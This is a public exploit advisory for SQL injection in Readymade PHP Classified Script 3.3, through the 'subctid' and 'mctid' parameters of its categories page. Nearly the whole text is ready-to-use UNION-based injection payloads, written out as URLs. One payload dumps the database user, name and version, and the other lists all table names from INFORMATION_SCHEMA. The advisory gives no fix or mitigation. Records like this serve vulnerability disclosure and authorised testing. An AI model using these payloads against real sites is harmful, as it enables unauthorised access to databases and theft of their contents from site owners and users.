Readymade PHP Classified Script 3.3 - 'subctid' / 'mctid' SQL Injection

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# Exploit Title: Readymade PHP Classified Script 3.3 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/advance-olx-clone/
# Version: 3.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept: 
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# 1)
# http://localhost/[PATH]/categories?subctid=[SQL]
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# -yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
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# http://server/categories?subctid=-yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
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# 2)
# http://localhost/[PATH]/categories?&mctid=[SQL]
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# -Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-
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# http://server/categories?&mctid=-Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-
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